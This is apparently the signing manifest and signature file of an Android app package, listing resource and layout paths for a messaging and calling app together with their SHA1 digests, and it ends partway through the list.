Name: res/drawable-ldpi/ofm_video_icon.png

SHA1-Digest: ELSua7Je5IhOJufSnd2O+G+8cbw=



Name: res/drawable-hdpi/add_request_background.png

SHA1-Digest: piB9LNCtZ7j7dyh2smsKlS3q0BA=



Name: res/drawable-hdpi/find_more_friend_shake.png

SHA1-Digest: lvLYlVvwIOzOrdxFsWJ8zQnWyfw=



Name: res/drawable-ldpi/video_handoff_button.png

SHA1-Digest: eam78EujT9wlqcfnS1mH5EeVSjU=



Name: res/drawable-ldpi/video_handoff_button_down.png

SHA1-Digest: x20zGrEt+Ti39AZkBsD8Z0rLKqg=



Name: res/drawable-ldpi/message_button_down.png

SHA1-Digest: jbJJqh867/1sUp8JKwYx7fAJyFo=



Name: res/drawable-hdpi/friendlist_pup_background.png

SHA1-Digest: XOn3YrkZ3XwddLt0Y0oifafwqVg=



Name: res/drawable-ldpi/search_background.png

SHA1-Digest: EkYDbTduAZgmH4u8CAfXi6QlxoM=



Name: res/drawable-hdpi/btn_style_one_disabled.9.png

SHA1-Digest: Nn/JQJySoAtWhaeimjPuvcaCvL4=



Name: res/drawable-ldpi/changemode_button_checked.png

SHA1-Digest: iwQeKji92ti6Uf0BebmFQx5162g=



Name: res/layout/friendlist_popup.xml

SHA1-Digest: oGv3ISs9qvM9IgBYngj1cjwNgJE=



Name: res/drawable-ldpi/video_encrypt_button_dischecked.png

SHA1-Digest: EL6ZX3wyFPtRA9JR2hPtXO2jquk=



Name: res/drawable/btn_style_white.xml

SHA1-Digest: oWcPhc/7LeLauRtQ42XZ4lYsMA0=



Name: res/drawable-ldpi/top_background.png

SHA1-Digest: EZbA8SPgwdezo1s+RrUqOl6ysaw=



Name: res/drawable/btn_style_green.xml

SHA1-Digest: Vm2+2ifvHcF9zYXLvYFzErnEXbs=



Name: res/drawable-hdpi/mm_title_back_focused.9.png

SHA1-Digest: grY0cZh64hDPT7uxBJNGjmmBEWY=



Name: res/drawable-mdpi/headshow4.png

SHA1-Digest: /prZg0/V4fRANWvgyAkChFl2EwE=



Name: res/drawable-hdpi/bg.png

SHA1-Digest: Ptu6H20XFxx8NIRKVCJ/wBDbo+M=



Name: res/drawable-ldpi/encrypt_button_checked.png

SHA1-Digest: RJZbUISGuKbSQwFhoOcpwPSE9Ds=



Name: res/layout/add_request_from_friend.xml

SHA1-Digest: UH6dflBzaWDQuTgAbvx4YbpN/Nk=



Name: res/drawable-hdpi/handup_button.png

SHA1-Digest: mvLm5I0Ms6SUcAHWY4f/53U3gOI=



Name: res/anim/alpha_in_anim.xml

SHA1-Digest: sV7SrPM+3oMVBkrrl/NVjYCpCtI=



Name: res/drawable-ldpi/cancel_button_down.png

SHA1-Digest: Z/M4vZ9aOJPHU5oDMUqBD1bfo/U=



Name: res/drawable-hdpi/back_button.png

SHA1-Digest: 5yWvRO7jxLAt26wbo3eS8TNMN1U=



Name: res/drawable-ldpi/voice_button.png

SHA1-Digest: +YkoaAhzWU1tTJD6Qg4LweKMXNk=



Name: res/drawable-hdpi/message.png

SHA1-Digest: edDJgLpCmN+wX5cG48lRf3mewdE=



Name: res/drawable-ldpi/go_back_down.png

SHA1-Digest: gpr80RK1xDHBOWcrUIsEgH864To=



Name: res/drawable-hdpi/bizhi.png

SHA1-Digest: NbGFCwOiLVFw0U7p/Sm2uRde7UA=



Name: res/drawable-ldpi/add_accept_button_down.png

SHA1-Digest: n+DLSTKKemx4Js/aTNjGO7SuphI=



Name: res/drawable-ldpi/actionbar_camera_icon.png

SHA1-Digest: oG1YttNco5qh2qHPLHq7yQw4j0o=



Name: res/drawable-ldpi/handoff_button.png

SHA1-Digest: 1NrI4hahkAT5tcPML8q1OO3UA4w=



Name: res/drawable-ldpi/load_button_down.png

SHA1-Digest: Z/g3W8TKE88IfH4/lHsD6MAuJNo=



Name: res/drawable-hdpi/ofm_card_icon.png

SHA1-Digest: q6iy7u1q5plvhteSAvZqLPPucaI=



Name: res/drawable-mdpi/headshow6.png

SHA1-Digest: as4ZKGpZoxmviOU9th5KcSVdvzQ=



Name: res/drawable-ldpi/icon3.png

SHA1-Digest: rBg0ykzmSmp1v6coL9yry1G2W9k=



Name: res/drawable-hdpi/btn_style_one_pressed.9.png

SHA1-Digest: UnnBtrKLnF/oIA2VL/v880sLQUc=



Name: res/drawable-ldpi/encrypt_button_dischecked.png

SHA1-Digest: AirrJfgdQV8mkS3D2Zucf6KixYY=



Name: res/layout/top1.xml

SHA1-Digest: i3P8D7wkfVCOROdSp+CCCsf1ASM=



Name: res/drawable/login_editbox.xml

SHA1-Digest: 5vJJhF+di53e8lh1sZVVtVTeHNU=
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SHA1-Digest: Xa49j1Ou3l5bVtP53q4lHhnFL5s=



Name: res/layout/logo_activity.xml

SHA1-Digest: m9EclskqTSZZlOzScvtIPiwiWRE=



Name: res/drawable-hdpi/login_edit_normal.9.png

SHA1-Digest: tpRZJAW1LvwsvjhJ5Lbgg21rkss=



Name: res/drawable-ldpi/ofm_profile_icon.png

SHA1-Digest: 7YVKXeZWBy5apSEfMEO92dapPWQ=



Name: res/drawable-hdpi/msg.png

SHA1-Digest: ROm6AAFWWO4pHYOWzni+1hPsg+0=



Name: res/drawable-hdpi/w04.jpg

SHA1-Digest: jK6TofR3QWa2PZO83GSbl7CqEf4=



Name: res/layout/bottomdialog.xml

SHA1-Digest: Q+TbJQxgi01kHXcnxa9sbkrVwsY=



Name: res/drawable-ldpi/changemode_button_dischecked.png

SHA1-Digest: yh0vCACEI5lJlS9dvaVgZfnD4PY=



Name: res/drawable-ldpi/add_user_button.png

SHA1-Digest: veaqpjrTa27AJCfkQtF4AB8IGO0=



Name: res/drawable-ldpi/add_user_button_down.png

SHA1-Digest: DzaxxKQTcnIO4EndESw3Zy9phwk=



Name: res/drawable-hdpi/team_logo.png

SHA1-Digest: Lpnsy2Dzkdqlkqou7i50+Y2Y5Kc=



Name: res/drawable-hdpi/back_button_down.png

SHA1-Digest: +iGfagARcwKBytn7JCni0BPhfgA=



Name: res/drawable-ldpi/phone_accept_button.png

SHA1-Digest: Cr6nsdoPbLhOw0Fm/dzCbDdLuwI=



Name: classes.dex

SHA1-Digest: QzHDO15Eqm5u2uc5oHPDCBPWXJg=



Name: res/layout/tongxunlu.xml

SHA1-Digest: aOdcarz2Ja7TYkm4nS1yw2T7zTI=



Name: res/drawable-hdpi/login_edit_pressed.9.png

SHA1-Digest: WOufl7lLlYFsVBJkkl2iDSZOTug=



Name: res/drawable-hdpi/loading_bg.9.png

SHA1-Digest: 3iGNnw0UIsGj+x+1xwjsxTybl+4=



Name: res/drawable-mdpi/reader_item_divider.png

SHA1-Digest: Uuf2OHxOaVHOqbTbrDrjxol9zio=



Name: res/drawable-hdpi/ico.png

SHA1-Digest: 4ggXi/IxsjX/8bWd4a3lsJCox+0=



Name: res/drawable-hdpi/ofm_collect_icon.png

SHA1-Digest: vfVkWrH579EA2ZDsCCS5BW6hhgY=



Name: res/drawable-hdpi/title_bar.9.png

SHA1-Digest: 248kEIjql1igMg5pmFfZLhEOUfg=



Name: res/drawable-xhdpi/ic_launcher.png

SHA1-Digest: TJE1tg63y88xLdIALKGpuLmgh0s=



Name: res/drawable-ldpi/cancel_button.png

SHA1-Digest: 8xbQhtS3n0mpmgHjben7X/K0J1E=



Name: res/drawable-mdpi/ic_action_search.png

SHA1-Digest: XjltJdEB3tvakTn9CN7KwdaNT68=



Name: res/drawable-hdpi/abc_cab_background_top_holo_light.9.png

SHA1-Digest: 49UGaCleY6DzwqgTga8B+AMa7mU=



Name: res/layout/whatsnew_viewpager.xml

SHA1-Digest: yB5zrk8edu/HopPlLbKfR1baKXc=



Name: res/drawable-hdpi/tianjia.png

SHA1-Digest: MvM38zjK7oE0Fkd79D4B/qEstPk=



Name: res/layout/whats1.xml

SHA1-Digest: gkqpci5brUn2bbdt1R/xofu8b2Y=



Name: res/drawable-ldpi/interphone_button_dischecked.png

SHA1-Digest: jfZE41RK/CPeXvprxcbPbcPLw8A=



Name: res/drawable-ldpi/handoff_button_down.png

SHA1-Digest: Mzo7yvDFxffBtaQc5YGTSs28IaE=



Name: res/drawable-mdpi/xiaohei.png

SHA1-Digest: 7PGLRc+WIzdnets0gxjC/LxSNKo=



Name: res/drawable-hdpi/btn_style_two_pressed.9.png

SHA1-Digest: 6IfVKEfdQ+6dkZQVCwLXvh35mQU=



Name: res/layout/init.xml

SHA1-Digest: 52TWFvFkXEnLSpXChzl2lnLvoTQ=



Name: res/drawable-mdpi/headshow5.png

SHA1-Digest: pbl1oUm/YDd+oiHhUQGkcgj9WCs=



Name: res/drawable-hdpi/mm_title_back_normal.9.png

SHA1-Digest: NXAAyzqv9X9EkQkzQAbGCRhPvwY=



Name: res/drawable-ldpi/quiet_button_dischecked.png

SHA1-Digest: eAh006iCiUXUh1Y3XAbwK0wSKBQ=



Name: res/drawable-ldpi/delete_button_down.png

SHA1-Digest: d9A/BXE27E53d0agKjBo2bKQPlE=



Name: res/layout/loading.xml

SHA1-Digest: L8Vs0VoeXWhIOX7XX19WKOta9g0=



Name: res/layout/main.xml

SHA1-Digest: onTWxE1+8/9sB3PQdBoLRxzadEM=



Name: res/drawable-hdpi/hdu_logo.png

SHA1-Digest: gcNEbhvEO3tq7ZCTCIqSYH7VATI=



Name: res/drawable-ldpi/video_encrypt_button_checked.png

SHA1-Digest: 5JxzaePlsaPE8wPF699lJ7Wnqs4=



Name: res/layout/whats3.xml

SHA1-Digest: KUTMoUXRGZlpLvZEOBiuf05B05Y=



Name: res/drawable-hdpi/weatherbg.png

SHA1-Digest: 30iR3rta5LAf4O0tc+uZRjmxtGA=



Name: res/drawable-ldpi/add_reject_button.png

SHA1-Digest: rFlbjoIEMj3NeI4fVZWop1LFP88=



Name: res/drawable-hdpi/welcome.png

SHA1-Digest: 7GZk3RncWQxbdPT++z1s2keEY18=



Name: res/drawable/guide_round.xml

SHA1-Digest: /Kv4m20ZgrAGrAlwIcQmryLbgj4=



Name: res/drawable-mdpi/personactivity_cover_heart.png

SHA1-Digest: Dgf7AhvE2uj8M+ne2ttHYjdyZjs=



Name: res/layout/whats2.xml

SHA1-Digest: 6HkLDvBRQByCDT39vaHlZraz+OY=



Name: res/drawable-mdpi/headshow1.png

SHA1-Digest: VqNHPhrDHvkEIgKF8nk7xxbKmlY=



Name: res/anim/alpha_out_anim.xml

SHA1-Digest: xV7rNgt4ZR5KgpGGeVnyhnIUyC4=



Name: res/anim/hold.xml

SHA1-Digest: P0rPvMSmFYEwr0K3mhxNSJTid+Q=



Name: res/drawable-ldpi/load_button.png

SHA1-Digest: F/OulxGHMjeZNtmxoMMBMHDV9tQ=



Name: res/drawable-mdpi/brand_default_head.png

SHA1-Digest: 6q3LO8Xj5ToaGv+qIDY64IzYPjE=



Name: res/layout/welcome.xml

SHA1-Digest: mI9yqvm6x7zPriYYdpd9W0R0nuM=



Name: res/drawable-hdpi/btn_style_zero_normal.9.png

SHA1-Digest: ZisMrTNlwTJLAxiChAO+MIawxEY=



Name: res/layout/faxian.xml

SHA1-Digest: qodm9pg0ttHKe22YoVGKewk7hoc=



Name: res/drawable-ldpi/voice_button_down.png

SHA1-Digest: h4U73Pq8IQwOR6USyMDPJOmXyrY=



Name: res/drawable-ldpi/icon2.png

SHA1-Digest: Cz5KRWb5OR0Cd/oGnOAocl8Dzyk=



Name: res/drawable-ldpi/phone_reject_button_down.png

SHA1-Digest: kTEPSkVmauaynryfF2INU5AfGzk=



Name: res/drawable-mdpi/ic_launcher.png

SHA1-Digest: aM73uFWfPOOvq5Kk9Ffd3cWm0OQ=



Name: res/layout/whats6.xml

SHA1-Digest: 3YEtZ8pqjtAlFA5NLvBRLAM5NgU=



Name: res/drawable-ldpi/video_quiet_button_dischecked.png

SHA1-Digest: t9hodPybWayiZVOr3T8vrfovEMI=



Name: res/layout/aesput.xml

SHA1-Digest: 8I8M4Q2P41yQwTDb/AdtybogRAo=



Name: res/drawable-hdpi/more_game.png

SHA1-Digest: zsn2IbCAmRo/bkeJ05Htf09PTVE=



Name: res/drawable-ldpi/voicebac.png

SHA1-Digest: 6o9Xp1eX3bmwt0BPZn0Vz8PPMK0=



Name: res/anim/fade_in.xml

SHA1-Digest: xC8bRUjkd+gizmNgNbM48ZVTZOg=













META-INF/CERT.SF


Signature-Version: 1.0

Created-By: 1.0 (Android)

SHA1-Digest-Manifest: abqHV1mI9JtCHiCTwnCjYN9XOM8=



Name: res/layout/addxml.xml

SHA1-Digest: irHyO5sj8axj8rqBDEQOqPvX7uE=



Name: res/drawable-hdpi/quiet_button_disenable.png

SHA1-Digest: I52hSZejExKh8nRj+cWmmWDEtkE=



Name: res/drawable-ldpi/video_button.png

SHA1-Digest: yUALD5zIoG1f+yYkEKGP/2E/AgA=



Name: res/drawable-hdpi/btn_style_two_normal.9.png

SHA1-Digest: oRQ6x8JRnozHiJPoDIvt8loa1S8=



Name: res/drawable-hdpi/find_more_friend_near_icon.png

SHA1-Digest: bjiEfLes2Gheo5uIYD7CE4X9gA0=



Name: res/drawable-ldpi/ofm_qrcode_icon.png

SHA1-Digest: mZVTSzooqajHkgPZUotpV6JdEVY=



Name: res/drawable-hdpi/voicebc.png

SHA1-Digest: x/hL/OABTH59EAwrPYLCExbYtJs=



Name: res/drawable-mdpi/shexiangtou.png

SHA1-Digest: 7GlWCvZw8E951kKLhQnM3hHTSJY=



Name: res/drawable-ldpi/add_reject_button_down.png

SHA1-Digest: FtbblcpLnSTbFP28pf5NPhYelH8=



Name: res/layout/jiemian.xml

SHA1-Digest: +QDyIlYr1dgj03szq7zWjKdjqCc=



Name: res/drawable-ldpi/video_button_down.png

SHA1-Digest: VdRfP9LuE0G/dSHo4vqrQwIt6Yo=



Name: res/drawable-hdpi/more_emoji_store.png

SHA1-Digest: vyiAzQsx8y671lcHDEGdR792boY=



Name: res/drawable-mdpi/bind_qq_icon.png

SHA1-Digest: /u/KJqLNryhuUY85DjzT7sbA3uo=



Name: res/drawable-xxhdpi/ic_launcher.png

SHA1-Digest: KKqaLh/DVvFp+v1KoaDw7xETvrI=



Name: res/drawable-mdpi/actionbar_add_icon.png

SHA1-Digest: nA28ITN0+s3IUYw9+/Y1TCXx8ew=



Name: res/layout/login.xml

SHA1-Digest: +b0iUmRfGA3SF/vWSn7ydCgTFaE=



Name: res/drawable-mdpi/actionbar_more_icon.png

SHA1-Digest: aWEZGYzTtfP39BjNAa/xUIY5RJo=



Name: res/drawable-ldpi/interphone_button_checked.png

SHA1-Digest: RsWdnuzO4H7mpqBAOmzgL4y1yys=



Name: res/drawable-ldpi/ofm_video_icon.png

SHA1-Digest: ELSua7Je5IhOJufSnd2O+G+8cbw=



Name: res/drawable-hdpi/add_request_background.png

SHA1-Digest: piB9LNCtZ7j7dyh2smsKlS3q0BA=



Name: res/drawable-hdpi/find_more_friend_shake.png

SHA1-Digest: lvLYlVvwIOzOrdxFsWJ8zQnWyfw=



Name: res/drawable-ldpi/video_handoff_button.png

SHA1-Digest: eam78EujT9wlqcfnS1mH5EeVSjU=



Name: res/drawable-ldpi/video_handoff_button_down.png

SHA1-Digest: x20zGrEt+Ti39AZkBsD8Z0rLKqg=



Name: res/drawable-ldpi/message_button_down.png

SHA1-Digest: jbJJqh867/1sUp8JKwYx7fAJyFo=



Name: res/drawable-hdpi/friendlist_pup_background.png

SHA1-Digest: XOn3YrkZ3XwddLt0Y0oifafwqVg=



Name: res/drawable-ldpi/search_background.png

SHA1-Digest: EkYDbTduAZgmH4u8CAfXi6QlxoM=



Name: res/drawable-hdpi/btn_style_one_disabled.9.png

SHA1-Digest: Nn/JQJySoAtWhaeimjPuvcaCvL4=



Name: res/drawable-ldpi/changemode_button_checked.png

SHA1-Digest: iwQeKji92ti6Uf0BebmFQx5162g=



Name: res/drawable-hdpi/call1.png

SHA1-Digest: may4+7yhCvlBCxYVodStgLHH84Y=



Name: res/layout/friendlist_popup.xml

SHA1-Digest: NvyMFD5f0AhZCqLtTEynp31js+M=



Name: res/drawable-ldpi/video_encrypt_button_dischecked.png

SHA1-Digest: EL6ZX3wyFPtRA9JR2hPtXO2jquk=



Name: res/drawable/btn_style_white.xml

SHA1-Digest: oWcPhc/7LeLauRtQ42XZ4lYsMA0=



Name: res/drawable-ldpi/top_background.png

SHA1-Digest: EZbA8SPgwdezo1s+RrUqOl6ysaw=



Name: res/drawable/btn_style_green.xml

SHA1-Digest: Vm2+2ifvHcF9zYXLvYFzErnEXbs=



Name: res/drawable-hdpi/mm_title_back_focused.9.png

SHA1-Digest: grY0cZh64hDPT7uxBJNGjmmBEWY=



Name: res/drawable-mdpi/headshow4.png

SHA1-Digest: /prZg0/V4fRANWvgyAkChFl2EwE=



Name: res/drawable-hdpi/bg.png

SHA1-Digest: Ptu6H20XFxx8NIRKVCJ/wBDbo+M=



Name: res/drawable-ldpi/encrypt_button_checked.png

SHA1-Digest: RJZbUISGuKbSQwFhoOcpwPSE9Ds=



Name: res/layout/add_request_from_friend.xml

SHA1-Digest: 4C7PAD0dPVacX9kwLsy3+MaryPE=



Name: res/drawable-hdpi/handup_button.png

SHA1-Digest: mvLm5I0Ms6SUcAHWY4f/53U3gOI=



Name: res/anim/alpha_in_anim.xml

SHA1-Digest: sV7SrPM+3oMVBkrrl/NVjYCpCtI=



Name: res/drawable-ldpi/cancel_button_down.png

SHA1-Digest: Z/M4vZ9aOJPHU5oDMUqBD1bfo/U=



Name: res/drawable-hdpi/back_button.png

SHA1-Digest: 5yWvRO7jxLAt26wbo3eS8TNMN1U=



Name: res/drawable-ldpi/voice_button.png

SHA1-Digest: +YkoaAhzWU1tTJD6Qg4LweKMXNk=



Name: res/drawable-hdpi/message.png

SHA1-Digest: edDJgLpCmN+wX5cG48lRf3mewdE=



Name: res/drawable-ldpi/go_back_down.png

SHA1-Digest: gpr80RK1xDHBOWcrUIsEgH864To=



Name: res/drawable-hdpi/bizhi.png

SHA1-Digest: NbGFCwOiLVFw0U7p/Sm2uRde7UA=



Name: res/drawable-ldpi/add_accept_button_down.png

SHA1-Digest: n+DLSTKKemx4Js/aTNjGO7SuphI=



Name: res/drawable-ldpi/actionbar_camera_icon.png

SHA1-Digest: oG1YttNco5qh2qHPLHq7yQw4j0o=



Name: res/drawable-ldpi/handoff_button.png

SHA1-Digest: 1NrI4hahkAT5tcPML8q1OO3UA4w=



Name: res/drawable-ldpi/load_button_down.png

SHA1-Digest: Z/g3W8TKE88IfH4/lHsD6MAuJNo=



Name: res/drawable-hdpi/ofm_card_icon.png

SHA1-Digest: q6iy7u1q5plvhteSAvZqLPPucaI=



Name: res/drawable-mdpi/headshow6.png

SHA1-Digest: as4ZKGpZoxmviOU9th5KcSVdvzQ=



Name: res/drawable-ldpi/icon3.png

SHA1-Digest: rBg0ykzmSmp1v6coL9yry1G2W9k=



Name: res/drawable-hdpi/btn_style_one_pressed.9.png

SHA1-Digest: UnnBtrKLnF/oIA2VL/v880sLQUc=



Name: res/drawable-ldpi/encrypt_button_dischecked.png

SHA1-Digest: AirrJfgdQV8mkS3D2Zucf6KixYY=



Name: res/layout/top1.xml

SHA1-Digest: u2bHfbNRnUt/CoIk5rWqkI6Dw8E=



Name: res/drawable/login_editbox.xml

SHA1-Digest: EQXDlXVVYphsFU8J2rC37lnPZL4=



Name: res/drawable-mdpi/bind_mcontact_reco_friends.png

SHA1-Digest: +O9B9drZRsiQWaMFA0FJGfxz+qU=



Name: res/drawable-xhdpi/ic_action_search.png

SHA1-Digest: 772ITFXOlprwo44bOLvLMa3Vdeg=



Name: res/drawable-ldpi/voiceback.png

SHA1-Digest: zPk3MjAcndT3CV0FdbgTalVIeps=



Name: res/drawable/title_btn_back.xml

SHA1-Digest: 3otmkAHw7JfTj6zLRU7Zd9aAfqU=



Name: res/layout/liaotian.xml

SHA1-Digest: i515dqCB3M4oOXpY6XjMwTUlHHE=



Name: res/drawable-ldpi/becall_background.png

SHA1-Digest: lRjTP0Zi/N+rgVwuLtD010mU0ck=



Name: res/drawable-hdpi/background.jpg

SHA1-Digest: HoRtPa1YHqzKN967Y53xXXrcVDM=



Name: res/drawable-mdpi/headshow3.png

SHA1-Digest: 5bwP2aX47dYBNnvz3342WKNXvVg=



Name: res/layout/top2.xml

SHA1-Digest: tUKl/3l80Sa2wkhS2r3sssHxMUM=



Name: res/drawable-ldpi/ic_launcher.png

SHA1-Digest: zC+Z/B5ib1ntZmz9D80Rj3muYqE=



Name: res/drawable-ldpi/quiet_button_checked.png

SHA1-Digest: LzXekSVt6l/uYRsbPQ4S9EPxdC4=



Name: res/drawable-hdpi/voice_background.png

SHA1-Digest: jLb2c8brku6s9y1FDFDfDXDgbNo=



Name: res/drawable-hdpi/becall.png

SHA1-Digest: qI2xjpmM4T3Z2ZXUeyYV8e1dG94=



Name: res/drawable-hdpi/logo.png

SHA1-Digest: b2qrTuL4RvgxQkC1tdz2hGTD88Y=



Name: res/drawable-hdpi/friendlist_background.png

SHA1-Digest: ECMnCAEb6WpadYEzM5f+0OSLLtQ=



Name: res/drawable-ldpi/talk_button_down.png

SHA1-Digest: NDEn0W4SHvDgFXeni88+bV4mnpQ=



Name: res/drawable-hdpi/find_more_friend_bottle.png

SHA1-Digest: GLefUWY5GVCon+DzA9mYtE9RRuw=



Name: res/menu/main3.xml

SHA1-Digest: AmPxG09TVHilc8aFacrxRIASDLA=



Name: res/drawable-ldpi/phone_accept_button_down.png

SHA1-Digest: 2f5oBPQuw1tV7LPfUdGNULU+BBk=



Name: res/menu/main.xml

SHA1-Digest: NevPN78af3ZRULPNCM74OyL3kPI=



Name: res/drawable-hdpi/handup_button_down.png

SHA1-Digest: 8QB0GZwxVUY+llE55hJgnS+huYc=



Name: res/drawable-hdpi/quiet_button.png

SHA1-Digest: rGGP5POgv48D91en/cAIDPmBbhY=



Name: res/drawable-hdpi/quiet_button_down.png

SHA1-Digest: dsQnb2Fzsp/t5EMRE2O8dfAbBmQ=



Name: res/drawable-ldpi/add_accept_button.png

SHA1-Digest: ypiJEelNUtgHWG2JXioMwrAhfF4=



Name: res/drawable-ldpi/phone_reject_button.png

SHA1-Digest: a+DIXRdwBn6/G+nEGtI0Tg+rSUY=



Name: res/layout/voice_main.xml

SHA1-Digest: NIYabb2jx9vU8Vb1H4XsXIowXpQ=



Name: res/drawable-hdpi/mm_title_back_pressed.9.png

SHA1-Digest: RUeeANDKJ/WKVEazLtqulT8eP70=



Name: res/drawable-ldpi/ofm_blacklist_icon.png

SHA1-Digest: oXg61EQ5Uh2MNoJcD31X0oTs+lo=



Name: res/drawable-hdpi/icon.png

SHA1-Digest: 8awwbbhyrWqMJjCSVwocK8hJj9M=



Name: res/drawable-hdpi/ofm_setting_icon.png

SHA1-Digest: +12dcD1MdeDEHcw3q+GxSzUgIB0=



Name: res/drawable-mdpi/voip_camerachat.png

SHA1-Digest: KjKu0hSqucws5elxx+sdMZNt3PE=



Name: res/drawable-mdpi/headshow2.png

SHA1-Digest: xlMmcNdcYTR7LWCrMr2cIY59sNA=



Name: res/drawable-mdpi/abc_ab_bottom_solid_dark_holo.9.png

SHA1-Digest: LL1PeDz8pX/uDWdUgMlfJeVAWds=



Name: res/drawable-hdpi/delete.png

SHA1-Digest: WBLbXJ7K3SBWpOWBjB3ElUOcOKI=



Name: res/layout/becalled.xml

SHA1-Digest: fXA+WbskK6qE+MBgprq9/XZG4WM=



Name: res/drawable-hdpi/w05.jpg

SHA1-Digest: SsQL0uHb6WJFXkwAKWVkjzVgxYY=



Name: res/drawable-mdpi/searadd_icon.png

SHA1-Digest: 8/3JGlbWYH3tZn3uwxdihrdFLPM=



Name: res/drawable-mdpi/page_now.png

SHA1-Digest: mdbmA5UTcJi74rRqJdPrfjX3cLc=



Name: res/drawable-ldpi/init_button_down.png

SHA1-Digest: MrZnyuBZlpG6SSlD7pergnpU/Ng=



Name: res/drawable-hdpi/unknow_user.png

SHA1-Digest: ZVcNHjT+KFv4yn3oRtVb0eWN3PQ=



Name: res/drawable-ldpi/talk_background.png

SHA1-Digest: SMTgrXVdIG4CY4TH0xxNqmgKEEI=



Name: res/drawable-hdpi/find_more_friend_scan.png

SHA1-Digest: 6WtCMK2FWkJzg0XezclokDQBkPM=



Name: res/drawable-ldpi/icon1.png

SHA1-Digest: wsR/VDpoVWGZalBvdrJ0wbJRdUc=



Name: res/layout/friendlist.xml

SHA1-Digest: okf53Y7bsKf45r6jHzXWAMBMO18=



Name: res/drawable-ldpi/go_back.png

SHA1-Digest: CPwQ1iKlBPu0OJ1BiPBq1q1819k=



Name: res/drawable-mdpi/actionbar_search_icon.png

SHA1-Digest: q29MZQPaO/VCD7gfP1N9qVhTbjk=



Name: res/drawable-hdpi/find_more_friend_photograph_icon.png

SHA1-Digest: Z8jlIM8maJRwjwFuetNp81/iV8g=



Name: res/drawable-hdpi/btn_style_one_normal.9.png

SHA1-Digest: qK1DgnZIpRpT45K3fNsBTEL8KKY=



Name: res/drawable-ldpi/addrequest_background.png

SHA1-Digest: 6Z/KteXOU2RXZPLWSE/HllBURqA=



Name: res/drawable-ldpi/talk_button.png

SHA1-Digest: gV4X6bMV8paseT/zIM8sF+ySyH4=



Name: res/layout/friendlist_item.xml

SHA1-Digest: EWJaM/e+Q7knbEtjb7+AOse729k=



Name: res/anim/fade_out.xml

SHA1-Digest: Ddqmg6udzvZulMMHZIuSSvRRdq0=



Name: res/drawable-hdpi/abc_ab_share_pack_holo_dark.9.png

SHA1-Digest: RVis7O9pOoz5my3559nJKqHlVtM=



Name: res/drawable-ldpi/init_button.png

SHA1-Digest: qGCE1+jvPb7JXxe03wksxHaJrUg=



Name: res/drawable-mdpi/ofm_add_icon.png

SHA1-Digest: HS9S6jnSVhkNBVrvA8Bu5ICfJeQ=



Name: res/drawable-hdpi/ic_action_search.png

SHA1-Digest: WvsoZfcfGbz7vtTCwzXLh3VcxFw=



Name: res/drawable-ldpi/message_button.png

SHA1-Digest: +ojfE+euxTlXjWUGQe6kWoyNax4=



Name: res/drawable-ldpi/video_quiet_button_checked.png

SHA1-Digest: GmY+4Tx+KDKhtm6LmDWgmLM06/A=



Name: res/drawable-hdpi/btn_style_two_focused.9.png

SHA1-Digest: +TWRYapqYjZvCFnO2m5Hl9fxbys=



Name: res/layout/load.xml

SHA1-Digest: lPh7H1HVF/jHSBwuiD1m88ACI2g=



Name: res/drawable-ldpi/delete_button.png

SHA1-Digest: v6JH2Ysw7nRUrIeNajV1IrDF6ac=



Name: res/drawable-ldpi/ofm_photo_icon.png

SHA1-Digest: n9wq6Yex+nNfn2h9917LzXjo9XE=



Name: res/drawable-hdpi/ic_launcher.png

SHA1-Digest: diYsvf3zRlU+JNDApc7+KLVhhk0=



Name: res/drawable-hdpi/w02.jpg

SHA1-Digest: o0yhPJs7Muyi+6u6CzQzVRbGZ8E=



Name: res/drawable-hdpi/copyright.png

SHA1-Digest: t/n5GPmUdmSkF+0qthNsdVAtv6s=



Name: res/drawable-hdpi/main_screen_bg.jpg

SHA1-Digest: UW4e92ti4GG+TtAWI3DqoT6HThM=



Name: resources.arsc

SHA1-Digest: M93ZE4A10wy7GBey+nxfc3uB2lY=



Name: res/layout/cs_activity.xml

SHA1-Digest: Ock0uI42GO1FuVTP1ntVq8VXZbg=



Name: res/drawable-hdpi/w03.jpg

SHA1-Digest: Y1ILgmrDz6SeZjKhY+syMwVjrys=



Name: res/drawable-hdpi/call.png

SHA1-Digest: Mw2mqCjVv+n8a3hUkhuv6umohVw=



Name: res/drawable-mdpi/page.png

SHA1-Digest: unpOw4OWJGfNy+F/gVjaVF/ZBvw=



Name: AndroidManifest.xml

SHA1-Digest: zwMMhx93TZjXFbWMrVbzuCsfU/c=



Name: res/drawable-hdpi/btn_style_one_focused.9.png

SHA1-Digest: 4jSh0z8usKjLull6A8Zeh19hRYg=



Name: res/drawable-hdpi/login_error_icon.png

SHA1-Digest: 8uHamspDsmF5nVVnXod7id3DRRM=



Name: res/layout/logo_activity.xml

SHA1-Digest: iScB9+MCXSX4JnWZQE7dGpmIPp8=



Name: res/drawable-hdpi/login_edit_normal.9.png

SHA1-Digest: 8/5NmdQZUxHMUng72dvhSBy1rGs=



Name: res/drawable-ldpi/ofm_profile_icon.png

SHA1-Digest: hpj2c3CU2LeEzW0qmyfXe+F3uRU=



Name: res/drawable-hdpi/msg.png

SHA1-Digest: ft8exVbh1DwEczoJxjhSs6bcS/Y=



Name: res/drawable-hdpi/w04.jpg

SHA1-Digest: UOL98wGxCS+MdHjP3KV0BAsd2/I=



Name: res/layout/bottomdialog.xml

SHA1-Digest: O291iQXv6b2YXs9aGbcTsnqn8v0=



Name: res/drawable-ldpi/changemode_button_dischecked.png

SHA1-Digest: b0mOPCGZZYONbGU5+/lj/UNE268=



Name: res/drawable-ldpi/add_user_button.png

SHA1-Digest: HwLwR5YG6nXgKJ7r3tKqLEhjAdo=



Name: res/drawable-ldpi/add_user_button_down.png

SHA1-Digest: iXWOzjxtX+JcoszS+YU3KpTkHo0=



Name: res/drawable-hdpi/team_logo.png

SHA1-Digest: 9AubOnaRGJpPVuFiR4wToiFY15E=



Name: res/drawable-hdpi/back_button_down.png

SHA1-Digest: YP6n7AP84YtjdrCT7rV2ut0wTuI=



Name: res/drawable-ldpi/phone_accept_button.png

SHA1-Digest: qN/HSEIVJyLFhYzeOuOw6xIv/5g=



Name: classes.dex

SHA1-Digest: 6zfJiUc6HNimOSSmC2HS7tszP2c=



Name: res/layout/tongxunlu.xml

SHA1-Digest: sgGGW5Bf6oyRhdzG58n+beV3mfU=



Name: res/drawable-hdpi/login_edit_pressed.9.png

SHA1-Digest: grOcaZ5VnqdptwVh/BRND0O85q0=



Name: res/drawable-hdpi/loading_bg.9.png

SHA1-Digest: +NxaiuM48veLtTUPFbB096F7PNM=



Name: res/drawable-mdpi/reader_item_divider.png
